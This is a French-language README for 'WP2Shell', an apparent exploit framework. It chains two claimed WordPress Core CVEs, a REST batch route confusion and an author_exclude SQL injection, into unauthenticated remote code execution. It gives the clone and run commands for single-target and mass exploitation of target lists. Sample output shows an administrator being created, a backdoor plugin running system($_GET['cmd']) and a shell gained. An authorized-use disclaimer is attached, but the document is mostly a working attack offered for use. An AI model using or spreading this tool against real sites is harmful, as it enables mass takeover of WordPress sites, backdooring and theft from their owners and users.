Framework RCE pré-authentification modulaire enchaînant un contournement d'authentification par confusion de route REST batch du cœur de WordPress avec une injection SQL author_exclude pour créer des administrateurs et déployer un plugin backdoor.
Framework RCE pré-authentification pour WordPress Core
CVE-2026-63030 · CVE-2026-60137
par CyphrSec · @kingepepp
CyphrSec WP2Shell est un framework d'exploitation modulaire ciblant deux vulnérabilités chaînées dans WordPress Core :
| CVE | Vulnérabilité | Impact |
|---|---|---|
| CVE-2026-63030 | Confusion de route par lots de l'API REST | Contournement d'authentification, désynchronisation des requêtes |
| CVE-2026-60137 | Injection SQL via author_exclude | SQL arbitraire, exfiltration de données, prise de contrôle administrateur |
Lorsqu'elles sont chaînées, celles-ci permettent une exécution de code à distance (RCE) non authentifiée sur
WordPress Core 6.9.0 – 6.9.4 et 7.0.0 – 7.0.1.
[1] Route confusion → REST batch endpoint bypass
[2] SQL injection → UNION read from wp_users / wp_posts
[3] UNION admin bridge → Create administrator pre-auth
[4] Plugin backdoor → Upload "Astral" plugin
[5] RCE → system($_GET['cmd'])
UTILISATION AUTORISÉE UNIQUEMENT.
Cet outil est fourni strictement à des fins de tests d'intrusion autorisés, de recherche en sécurité et d'éducation. Vous devez disposer d'une autorisation écrite explicite du propriétaire de toute cible avant d'exécuter tout composant de ce framework.
L'utilisation non autorisée contre des systèmes que vous ne possédez pas enfreint :
- Computer Fraud and Abuse Act (CFAA) — États-Unis
- UU ITE Pasal 30 — Indonésie
- Computer Misuse Act — Royaume-Uni
- Et des législations similaires dans le monde entier.
L'auteur décline toute responsabilité pour tout usage abusif, dommage ou conséquence juridique découlant de cet outil.
/wp-json/batch/v1 et ?rest_route=/batch/v1$wp_version depuis une arborescence source hors ligneCONCAT(0x7c7c, HEX(...), 0x7c7c)INTO OUTFILE lorsque secure_file_priv le permetphpasssystem($_GET['cmd'])⬢ ⬡ ⊗git clone https://github.com/0xCyp1337/CVE-2026-63030-CVE-2026-60137-WP2SHELL.git
cd CVE-2026-63030-CVE-2026-60137-WP2SHELL
chmod +x wp2shell-fullchain.py
Aucun pip install requis — tout est en stdlib.
python3 wp2shell.py
╭─ MAIN MENU ────────────────────────────────────────────────────────────╮
│ │
│ 1 single target — interactive wizard │
│ 2 mass exploit — targets.txt list │
│ 3 remote scan — version + behavior check │
│ 0 exit │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py single -u https://target.com --cmd id --authorized
Ou via le menu interactif → option 1.
Exemple de sortie :
╭─ SINGLE EXPLOIT ───────────────────────────────────────────────────────╮
│ │
│ target : https://target.com/ │
│ cmd : id │
│ │
╰────────────────────────────────────────────────────────────────────────╯
[*] Testing route confusion...
[+] Route confusion confirmed.
[*] Using batch endpoint: https://target.com/?rest_route=/batch/v1
[*] Running timing-based SQL injection test... (SLEEP=2.0s, 7 requests)
[*] SQLi result: vulnerable
[*] Attempting UNION pre-auth admin creation...
[+] Created admin: cyphr_a1b2c3 / Wp2!Xy9zQr7mK
[+] Authenticated as new admin.
[*] Uploading backdoor plugin...
[+] Backdoor plugin installed and activated.
[*] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Clean up the backdoor plugin and the new admin user after testing.
╭─ RESULT ───────────────────────────────────────────────────────────────╮
│ │
│ status : OWNED — RCE confirmed │
│ time : 23.4s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py exploit -l targets.txt --cmd whoami --authorized -c 10 --delay 2
Ou via le menu interactif → option 2.
Exemple de sortie :
╭─ MASS EXPLOIT ─────────────────────────────────────────────────────────╮
│ │
│ targets : 245 workers : 10 delay : 2.0s │
│ cmd : whoami │
│ │
╰────────────────────────────────────────────────────────────────────────╯
⬢ https://site1.com ⬢4 ⬡1 ⊗5
⬢ https://site2.com ⬢5 ⬡1 ⊗5
⊗ https://site3.com ⬢5 ⬡1 ⊗6
⬡ https://site4.com ⬢5 ⬡2 ⊗6
...